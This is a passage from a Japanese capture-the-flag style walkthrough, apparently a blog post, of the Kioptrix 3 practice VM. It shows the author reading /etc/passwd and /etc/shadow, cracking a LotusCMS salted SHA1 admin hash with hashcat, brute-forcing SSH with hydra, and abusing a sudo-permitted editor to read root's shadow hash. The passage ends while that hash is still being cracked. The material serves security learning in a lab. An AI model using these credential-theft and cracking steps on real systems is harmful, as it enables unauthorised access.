cat /etc/shadow
```
ユーザー情報は見れたが、ハッシュは取得できなさそう。

```console
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

管理者権限では動かないかも。

```console
pwd
/home/www/kioptrix3.com
cd /
pwd
/home/www/kioptrix3.com
cd ..
pwd
/home/www/kioptrix3.com
```
ディレクトリの移動はできなそう。

```console
su -
whoami
www-data
su root
whoami
www-data
```

rootにはsuできなそう

```console
ls -l
total 84
drwxrwxrwx  2 root root  4096 Apr 15  2011 cache
drwxrwxrwx  8 root root  4096 Apr 14  2011 core
drwxrwxrwx  8 root root  4096 Apr 14  2011 data
-rw-r--r--  1 root root 23126 Jun  5  2009 favicon.ico
drwxr-xr-x  7 root root  4096 Apr 14  2011 gallery
-rw-r--r--  1 root root 26430 Jan 21  2007 gnu-lgpl.txt
-rw-r--r--  1 root root   399 Feb 23  2011 index.php
drwxrwxrwx 10 root root  4096 Apr 14  2011 modules
drwxrwxrwx  3 root root  4096 Apr 14  2011 style
-rw-r--r--  1 root root   243 Aug  5  2010 update.php
ls data
config
filebackups
files
index.php
modules
pages
users
ls data/users
admin.dat
index.php
```
data/users/admin.datというファイルを発見。怪しい。。。

```console
cat data/users/admin.dat
|318d8dd409db395f0317efa71b3bad13e1fb9857|administrator|bla@bla.com
```

すごく怪しげなハッシュを発見。しかも、「administrator」という言葉付き。
もっと調べる。

```console
ls data/config
active_design.dat
index.php
modules
salt.dat
site_description.dat
site_keywords.dat
site_title.dat
site_version.dat
ls -l data/config
total 28
-rwxrwxrwx 1 root root    4 Oct  2  2010 active_design.dat
-rwxrwxrwx 1 root root    0 Apr 11  2010 index.php
drwxrwxrwx 2 root root 4096 Apr 14  2011 modules
-rwxrwxrwx 1 root root   30 Apr 14  2011 salt.dat
-rwxrwxrwx 1 root root   21 Oct  2  2010 site_description.dat
-rwxrwxrwx 1 root root    8 Oct  2  2010 site_keywords.dat
-rwxrwxrwx 1 root root   15 Apr 14  2011 site_title.dat
-rwxrwxrwx 1 root root    5 Mar 14  2011 site_version.dat
```
data/config/salt.datが非常にあやしい。configディレクトリの中にあることからさきほどのハッシュの生成に使用されている可能性がある。

```console
cat data/config/salt.dat
gtZBO2PewhZHR10hGXLaSt0Bc5Ub73
```

ハッシュ生成アルゴリズムがわかれば、、、と思い、「LotusCMS 3.0」がもしOpen　sourceであればアルゴリズムがわかるかもしれないとひらめく。　Google先生に聞くと、Sourceforgeに以下のソースコードを発見。ビンゴ！

Sourceforge
https://sourceforge.net/projects/arboroiancms/files/LotusCMS-3.0-Series/

さっそくダウンロードしてソースコードを眺めていく。ログインやライブラリ周りを調べると発見！

```console
kali@kali:~/ダウンロード$ ls -l lcms-3.0.5
合計 88
drwxrwxrwx  2 kali kali  4096  2月 23  2011 cache
drwxrwxrwx  8 kali kali  4096  8月  6  2010 core
drwxrwxrwx  8 kali kali  4096  3月 15  2011 data
-rw-r--r--  1 kali kali 23126  6月  5  2009 favicon.ico
-rwxr-xr-x  1 kali kali 26934  1月 22  2007 gnu-lgpl.txt
-rwxr-xr-x  1 kali kali   399  2月 23  2011 index.php
-rwxr-xr-x  1 kali kali  6789  8月  6  2010 install.php
drwxrwxrwx 10 kali kali  4096  2月 23  2011 modules
drwxrwxrwx  3 kali kali  4096  2月 23  2011 style
-rwxr-xr-x  1 kali kali   243  8月  6  2010 update.php
kali@kali:~/ダウンロード$ cd lcms-3.0.5/
kali@kali:~/ダウンロード/lcms-3.0.5$ grep -r 'salt'
core/lib/User.php:              $hash = $this->openFile("data/config/salt.dat");
install.php:            //Creates a long random string as salt.
install.php:            $salt = generateRandStr(30);
install.php:            $io->saveFile("data/config/salt.dat", $salt);
kali@kali:~/ダウンロード/lcms-3.0.5$ 
```

```console
cat core/lib/User.php

...省略
        /**
         * Encrypts password using hash and sha1.
         */
        public function encryptPass($pass){

                //Get the user hash
                $hash = $this->openFile("data/config/salt.dat");

                //Add hash to password
                $pass .= $hash;

                //Encrypt Password
                $pass = sha1($pass);

                //Returns encrypted password
                return $pass;
        }
...省略
```

アルゴリズムが「SHA1」、
saltとして「password + salt」を使用していることがわかった。

## パスワードクラッキング

これでパスワードのクラッキングが現実味を帯びてきた気がする。
Kali Linux のツールでインストールされている「hashcat」というツールが良さそうなことが判明。　使い方に苦労しながら、結局は下記に落ち着く。

https://tools.kali.org/password-attacks/hashcat

```console
kali@kali:~$ cat hash_salt.txt 
318d8dd409db395f0317efa71b3bad13e1fb9857:gtZBO2PewhZHR10hGXLaSt0Bc5Ub73
```

```console
kali@kali:~$ hashcat -m 110 -a 0 ./hash_salt.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.0.0) starting...

OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i5-2435M CPU @ 2.40GHz, 674/738 MB (256 MB allocatable), 1MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimim salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Zero-Byte
* Early-Skip
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 64 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

318d8dd409db395f0317efa71b3bad13e1fb9857:gtZBO2PewhZHR10hGXLaSt0Bc5Ub73:Mast3r
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: sha1($pass.$salt)
Hash.Target......: 318d8dd409db395f0317efa71b3bad13e1fb9857:gtZBO2Pewh...c5Ub73
Time.Started.....: Mon Sep 21 17:07:38 2020 (14 secs)
Time.Estimated...: Mon Sep 21 17:07:52 2020 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   870.6 kH/s (0.59ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 10834944/14344385 (75.53%)
Rejected.........: 0/10834944 (0.00%)
Restore.Point....: 10833920/14344385 (75.53%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: MasterFlick -> Martin@07

Started: Mon Sep 21 17:07:35 2020
Stopped: Mon Sep 21 17:07:54 2020
```

ちなみに、rockyou.txtはgzipで圧縮されていたので回答してから使用。
指定したオプションは以下の要領とGoogle先生で確認。

SHA1でもいろいろなパターンがあったが、ソースコードで確認ずみだったのであまり困らずに
「110」を指定できた。

```console
kali@kali:~$ hashcat -h
hashcat (v6.0.0) starting...

Usage: hashcat [options]... hash|hashfile|hccapxfile [dictionary|mask|directory]...

- [ Hash modes ] -

      # | Name                                             | Category
  ======+==================================================+======================================
...
    100 | SHA1                                             | Raw Hash
...
    110 | sha1($pass.$salt)                                | Raw Hash, Salted and/or Iterated
    120 | sha1($salt.$pass)                                | Raw Hash, Salted and/or Iterated
   4900 | sha1($salt.$pass.$salt)                          | Raw Hash, Salted and/or Iterated
   4520 | sha1($salt.sha1($pass))                          | Raw Hash, Salted and/or Iterated
    140 | sha1($salt.utf16le($pass))                       | Raw Hash, Salted and/or Iterated
  19300 | sha1($salt1.$pass.$salt2)                        | Raw Hash, Salted and/or Iterated
  14400 | sha1(CX)                                         | Raw Hash, Salted and/or Iterated
   4700 | sha1(md5($pass))                                 | Raw Hash, Salted and/or Iterated
   4710 | sha1(md5($pass).$salt)                           | Raw Hash, Salted and/or Iterated
  21100 | sha1(md5($pass.$salt))                           | Raw Hash, Salted and/or Iterated
  18500 | sha1(md5(md5($pass)))                            | Raw Hash, Salted and/or Iterated
   4500 | sha1(sha1($pass))                                | Raw Hash, Salted and/or Iterated
    130 | sha1(utf16le($pass).$salt)                       | Raw Hash, Salted and/or Iterated
```

テキストのパスワードは「Mast3r」。
最初は「Status...........: Cracked」になってるのはわかったが、パスワードの確認方法がよくわからなかったけど、調べていると下記の部分が結果っぽいことが判明。

```
318d8dd409db395f0317efa71b3bad13e1fb9857:gtZBO2PewhZHR10hGXLaSt0Bc5Ub73:Mast3r
```

さっそく、ログインページで入力する。ユーザー名は「admin」または「administrator」で試してみる。

![スクリーンショット 2020-09-21 17.33.06.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/82669/171d49a8-8c17-600c-e48a-da5544aaa861.png)

ログイン成功！

![スクリーンショット 2020-09-21 17.33.56.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/82669/009f69ff-09f1-dc22-01fb-a489df91aebc.png)

だが、ここで行き詰まる。。。　何をすればよいのか。　FileManager というプラグイン？でファイル作成・削除、権限の変更などはできそうだったが、permission 0777 にしてもプロンプトからの実行がうまくできなかった。

違うのか。。。

とりあえずプロンプトに戻って、おきまりのファイルを覗いてみる。

```console
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
mysql:x:104:108:MySQL Server,,,:/var/lib/mysql:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
loneferret:x:1000:100:loneferret,,,:/home/loneferret:/bin/bash
dreg:x:1001:1001:Dreg Gevans,0,555-5566,:/home/dreg:/bin/rbash
```

見れますやんｗ　ハッシュは？？

```console
cat /etc/shadow
```

見れない。見れるように変更できるか？

```console
ls -l /etc/shadow
-rw-r----- 1 root shadow 794 Apr 18  2011 /etc/shadow

usermod -aG shadow www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

追加できない。やはりroot権限が必要なのか。
手がかりを探しにユーザーのhomeディレクトリを見てみる。

```console
ls -la /home/loneferret
total 64
drwxr-xr-x 3 loneferret loneferret  4096 Apr 17  2011 .
drwxr-xr-x 5 root       root        4096 Apr 16  2011 ..
-rw-r--r-- 1 loneferret users         13 Apr 18  2011 .bash_history
-rw-r--r-- 1 loneferret loneferret   220 Apr 11  2011 .bash_logout
-rw-r--r-- 1 loneferret loneferret  2940 Apr 11  2011 .bashrc
-rw------- 1 root       root          15 Apr 15  2011 .nano_history
-rw-r--r-- 1 loneferret loneferret   586 Apr 11  2011 .profile
drwx------ 2 loneferret loneferret  4096 Apr 14  2011 .ssh
-rw-r--r-- 1 loneferret loneferret     0 Apr 11  2011 .sudo_as_admin_successful
-rw-r--r-- 1 root       root         224 Apr 16  2011 CompanyPolicy.README
-rwxrwxr-x 1 root       root       26275 Jan 12  2011 checksec.sh
```

.sshディレクトリがあることを発見。 sshでログインするために再度パスワードクラッキングを試してみる。

hydraが良さそう？なため、試してみる。
https://tools.kali.org/password-attacks/hydra

例に記載のあるコマンドを試す。しばらく眺めていると、あることに気がつく。
試すパスワードは14,344,321個。　54 tries/min だと、単純計算して265635.5 分、つまり4427時間、つまり184日かかる！　これはあまりにも長すぎるので、スレッド数を増やしてみる。

```console
kali@kali:~$ hydra -l loneferret -P /usr/share/wordlists/rockyou.txt -t 6 ssh://10.10.10.5
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-22 01:36:44
[DATA] max 6 tasks per 1 server, overall 6 tasks, 14344399 login tries (l:1/p:14344399), ~2390734 tries per task
[DATA] attacking ssh://10.10.10.5:22/
[STATUS] 78.00 tries/min, 78 tries in 00:01h, 14344321 to do in 3065:02h, 6 active
[STATUS] 54.00 tries/min, 162 tries in 00:03h, 14344237 to do in 4427:15h, 6 active
^C


The session file ./hydra.restore was written. Type "hydra -R" to resume session.
```

適当に100を指定する。

```console
ali@kali:~$ hydra -l loneferret -P /usr/share/wordlists/rockyou.txt -t 100 ssh://10.10.10.5
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-22 01:41:46
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[ERROR] Option -t needs to be a number between 1 and 64
```

１〜６４まで指定可能みたいなので、最大の64を指定する。


```console
kali@kali:~$ hydra -l loneferret -P /usr/share/wordlists/rockyou.txt -t 64 ssh://10.10.10.5
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-22 01:41:52
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ssh://10.10.10.5:22/
[22][ssh] host: 10.10.10.5   login: loneferret   password: starwars
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 4 final worker threads did not complete until end.
[ERROR] 4 targets did not resolve or could not be connected
[ERROR] 0 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-09-22 01:42:20
```

お！　もしかして成功？？　パスワード「starwars」でsshログインを試す。

```console
@kali:~$ ssh loneferret@10.10.10.5
loneferret@10.10.10.5's password: 
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Sat Apr 16 08:51:58 2011 from 192.168.1.106
```

よし！　ログイン成功！　root権限でrootパスワード変更ができるか試していく。

```console
loneferret@Kioptrix3:~$ sudo passwd root
[sudo] password for loneferret: 
Sorry, user loneferret is not allowed to execute '/usr/bin/passwd root' as root on Kioptrix3.
loneferret@Kioptrix3:~$ cat /etc/sudoers 
cat: /etc/sudoers: Permission denied
loneferret@Kioptrix3:~$ sudo cat /etc/sudoers 
[sudo] password for loneferret: 
Sorry, user loneferret is not allowed to execute '/bin/cat /etc/sudoers' as root on Kioptrix3.
loneferret@Kioptrix3:~$ sudo su -
[sudo] password for loneferret: 
Sorry, user loneferret is not allowed to execute '/bin/su -' as root on Kioptrix3.
loneferret@Kioptrix3:~$ 
loneferret@Kioptrix3:~$ 
loneferret@Kioptrix3:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied
```

だめ。ヒントを探していく。

```console
loneferret@Kioptrix3:~$ ls
checksec.sh  CompanyPolicy.README
```

checksec.shは中身をみてもよくわからなかった。CompanyPolicy.READMEは気になる文言があった。

```console
loneferret@Kioptrix3:~$ cat CompanyPolicy.README 
Hello new employee,                                                                                                                                       
It is company policy here to use our newly installed software for editing, creating and viewing files.                                                    
Please use the command 'sudo ht'.                                                                                                                         
Failure to do so will result in you immediate termination.                                                                                                
                                                                                                                                                          
DG
CEO
```

「sudo ht」を使えと書いてあるので試す。

```console
loneferret@Kioptrix3:~$ sudo ht
Error opening terminal: xterm-256color.
```

Googleで「Error opening terminal: xterm-256color.」を検索。

>export TERM=xterm-color

で解決するようなので試す。

```console
loneferret@Kioptrix3:~$ export TERM=xterm-color
loneferret@Kioptrix3:~$ sudo ht
```

![スクリーンショット 2020-09-22 2.12.13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/82669/82bbff2b-0cf6-56ae-b159-f154defbc812.png)

エディタ？のようなものが表示されたが、数字キーを押してもエンターキーを押しても反応なし。
Ctrl+cで一度終了させる。　htについて調べてみる。

## SUIDとかGUIDとかは危ない

```console
loneferret@Kioptrix3:~$ ls -la /usr/local/bin/ht
-rwsr-sr-x 1 root root 2072344 2011-04-16 07:26 /usr/local/bin/ht
```

SUIDとGUIDがsetされている。「s」はexecute bitがセットされている状態。
execute bit がセットされているとそのファイルのownerまたはowner's groupで実行できる。上記の例でいうと、htのownerはrootのため、rootの権限で実行できるはず。
ちなみにexecute bitがset されていない場合は「S」(大文字のS）になるとのこと。

SUIDとGUIDについて
https://www.tutorialspoint.com/unix/unix-file-permission.htm

とういことで、ハッシュファイルを見てみようｗ

```console
loneferret@Kioptrix3:~$ sudo ht /etc/shadow
```

![スクリーンショット 2020-09-22 9.21.18.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/82669/8f2fcf61-9921-f766-7d35-d1f3504ea783.png)

## パスワードクラッキング・アゲイン

見れた！！２つ目のフィールドがパスワードハッシュ。rootのハッシュも見れる。
エディタを使って手作業でハッシュを抜き出す。

/etc/shadowファイルの見方
https://linuc.org/study/knowledge/510/

```console
kali@kali:~$ vi newhash.txt
（ここで表示されている内容をコピペして不要な箇所を削除）
kali@kali:~$ cat newhash.txt 
$1$QAKvVJey$6rRkAMGKq1u62yfDaenUr1
```

つぎに、linux で使用されているパスワードのハッシュアルゴリズムをGoogleで検索。
すると下記のような情報を入手できた。これは幸いかもしれない。

>If salt is a character string starting with the characters "$id$" followed by a string optionally terminated by "$", then the result has the form:

>\$id\$salt$encrypted
id identifies the encryption method used instead of DES and this then determines how the rest of the password string is interpreted. The following values of id are supported:
>
>>ID  | Method
─────────────────────────────────────────────────────────
1   | MD5
2a  | Blowfish (not in mainline glibc; added in some
    | Linux distributions)
5   | SHA-256 (since glibc 2.7)
6   | SHA-512 (since glibc 2.7)
>
https://unix.stackexchange.com/questions/430141/how-to-find-the-hashing-algorithm-used-to-hash-passwords

ということは、

```
$1$QAKvVJey$6rRkAMGKq1u62yfDaenUr1
```
は

```
Hash Algorithm: MD5
Salt: QAKvVJey
Hash: 6rRkAMGKq1u62yfDaenUr1
```

という容量で読み取れるはず。　なるほど、勉強になるなぁ。

あとは、saltの使用方法が知れれば、、、。

```console
loneferret@Kioptrix3:~$ cat /etc/lsb-release 
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=8.04
DISTRIB_CODENAME=hardy
DISTRIB_DESCRIPTION="Ubuntu 8.04.3 LTS"
```

> Modern Linux has long since moved to /etc/shadow, and for some time now has used salted MD5-based hashes for password verification (crypt id 1). Since MD5 is considered "broken" for some uses and as computational power available to perform brute-forcing of MD5 increases, Ubuntu 8.10 and later proactively moved to using salted SHA-512 based password hashes (crypt id 6), which are orders of magnitude more difficult to brute-force. See the crypt manpage for additional details.
>
Ubuntu Security Features (Historical) - Password Hashing
https://wiki.ubuntu.com/Security/Features/Historical#hashing

もっと調べる。

>The Unix standard algorithm crypt and the MD5-based BSD password algorithm 1 and ...
>
Ubuntu man page for passwd
http://manpages.ubuntu.com/manpages/trusty/man1/passwd.1ssl.html

うん、わからん。 salt+passwordなのか、password+saltなのか、salt+password+saltなのか。 hashcatのヘルプのオプションでもたくさんあるので。。。

なので、適当にpassword+saltで行ってみる。 確認方法をご存知の方はぜひ教えて下さい。 dictionaryはビンゴなファイル名のものがあったのでそれでいく（unix_passwords.txt)


```console
kali@kali:~$ hashcat -a 0 -m 10 -t 64 newhash.txt /usr/share/wordlists/metasploit/unix_passwords.txt 
hashcat (v6.0.0) starting...

OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i5-2435M CPU @ 2.40GHz, 674/738 MB (256 MB allocatable), 1MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimim salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashfile 'newhash.txt' on line 1 ($1$QAKvVJey$6rRkAMGKq1u62yfDaenUr1): Separator unmatched
No hashes loaded.

Started: Tue Sep 22 10:37:31 2020
Stopped: Tue Sep 22 10:37:31 2020
```

hashの表記がだめっぽいので下記に修正して再度トライする。

```console
kali@kali:~$ cp newhash.txt newhash2.txt 
kali@kali:~$ vi newhash2.txt 
kali@kali:~$ cat newhash2.txt 
6rRkAMGKq1u62yfDaenUr1:QAKvVJey
```

```console
kali@kali:~$ hashcat -a 0 -m 10 -t 64 newhash2.txt /usr/share/wordlists/metasploit/unix_passwords.txt 
hashcat (v6.0.0) starting...

OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i5-2435M CPU @ 2.40GHz, 674/738 MB (256 MB allocatable), 1MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimim salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashfile 'newhash2.txt' on line 1 (6rRkAMGKq1u62yfDaenUr1:QAKvVJey): Token length exception
No hashes loaded.

Started: Tue Sep 22 10:40:33 2020
Stopped: Tue Sep 22 10:40:33 2020
```

あれ？　エラーになった。　何がおかしい？？

Hash modeがおかしいのかも？と思い、違うモードで試す。
選択肢を確認。

```console
kali@kali:~$ hashcat -h | grep MD5
      0 | MD5                                              | Raw Hash
   5100 | Half MD5                                         | Raw Hash
     50 | HMAC-MD5 (key = $pass)                           | Raw Hash, Authenticated
     60 | HMAC-MD5 (key = $salt)                           | Raw Hash, Authenticated
  11900 | PBKDF2-HMAC-MD5                                  | Generic KDF
  11400 | SIP digest authentication (MD5)                  | Network Protocols
   5300 | IKE-PSK MD5                                      | Network Protocols
  10200 | CRAM-MD5                                         | Network Protocols
   4800 | iSCSI CHAP authentication, MD5(CHAP)             | Network Protocols
  11100 | PostgreSQL CRAM (MD5)                            | Network Protocols
  19000 | QNX /etc/shadow (MD5)                            | Operating System
    500 | md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)        | Operating System
   2410 | Cisco-ASA MD5                                    | Operating System
   2400 | Cisco-PIX MD5                                    | Operating System
  16400 | CRAM-MD5 Dovecot                                 | FTP, HTTP, SMTP, LDAP Server
   1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR)            | FTP, HTTP, SMTP, LDAP Server
   9700 | MS Office <= 2003 $0/$1, MD5 + RC4               | Documents
   9710 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #1  | Documents
   9720 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #2  | Documents
  22500 | MultiBit Classic .key (MD5)                      | Password Managers
  Wordlist + Rules | MD5   | hashcat -a 0 -m 0 example0.hash example.dict -r rules/best64.rule
  Brute-Force      | MD5   | hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a
  Combinator       | MD5   | hashcat -a 1 -m 0 example0.hash example.dict example.dict
```

なんとなく500がよさそう？

```console
kali@kali:~$ hashcat -a 0 -m 500 -t 64 newhash2.txt /usr/share/wordlists/metasploit/unix_passwords.txt 
hashcat (v6.0.0) starting...

OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i5-2435M CPU @ 2.40GHz, 674/738 MB (256 MB allocatable), 1MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashfile 'newhash2.txt' on line 1 (6rRkAMGKq1u62yfDaenUr1:QAKvVJey): Separator unmatched
No hashes loaded.

Started: Tue Sep 22 10:48:06 2020
Stopped: Tue Sep 22 10:48:06 2020
```

ん？　セパレータがおかしい？？　もしかして、$id$salt$hash形式で指定するのかも？
と思い、編集前のハッシュ（/etc/shadowに登録されている内容）で試す。

```console
kali@kali:~$ hashcat -a 0 -m 500 -t 64 newhash.txt /usr/share/wordlists/metasploit/unix_passwords.txt 
hashcat (v6.0.0) starting...

OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i5-2435M CPU @ 2.40GHz, 674/738 MB (256 MB allocatable), 1MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 64 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/metasploit/unix_passwords.txt
* Passwords.: 1009
* Bytes.....: 7883
* Keyspace..: 1009

Approaching final keyspace - workload adjusted.  

Session..........: hashcat                       
Status...........: Exhausted
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$QAKvVJey$6rRkAMGKq1u62yfDaenUr1
Time.Started.....: Tue Sep 22 12:58:16 2020 (1 sec)
Time.Estimated...: Tue Sep 22 12:58:17 2020 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/metasploit/unix_passwords.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     1023 H/s (11.55ms) @ Accel:16 Loops:1000 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests
Progress.........: 1009/1009 (100.00%)
Rejected.........: 0/1009 (0.00%)
Restore.Point....: 1009/1009 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1000
Candidates.#1....: vagrant -> vagrant

Started: Tue Sep 22 12:58:12 2020
Stopped: Tue Sep 22 12:58:19 2020
```

動いたけど、ヒットなし。
rockyou.txtで試す。

```console
kali@kali:~$ hashcat -a 0 -m 500 -t 64 newhash.txt /usr/share/wordlists/rockyou.txt 
hashcat (v6.0.0) starting...

OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i5-2435M CPU @ 2.40GHz, 674/738 MB (256 MB allocatable), 1MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 64 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => s

Session..........: hashcat
Status...........: Running
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$QAKvVJey$6rRkAMGKq1u62yfDaenUr1
Time.Started.....: Tue Sep 22 12:59:18 2020 (28 mins, 37 secs)
Time.Estimated...: Tue Sep 22 14:22:37 2020 (54 mins, 42 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     2961 H/s (5.59ms) @ Accel:16 Loops:1000 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests
Progress.........: 4625824/14344385 (32.25%)
Rejected.........: 0/4625824 (0.00%)
Restore.Point....: 4625824/14344385 (32.25%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1000
Candidates.#1....: $HEX[706c616432380000] -> $HEX[706c6163746f6e5f323140686f74616d61696c2e636f6d]

[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => s

Session..........: hashcat
Status...........: Running
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
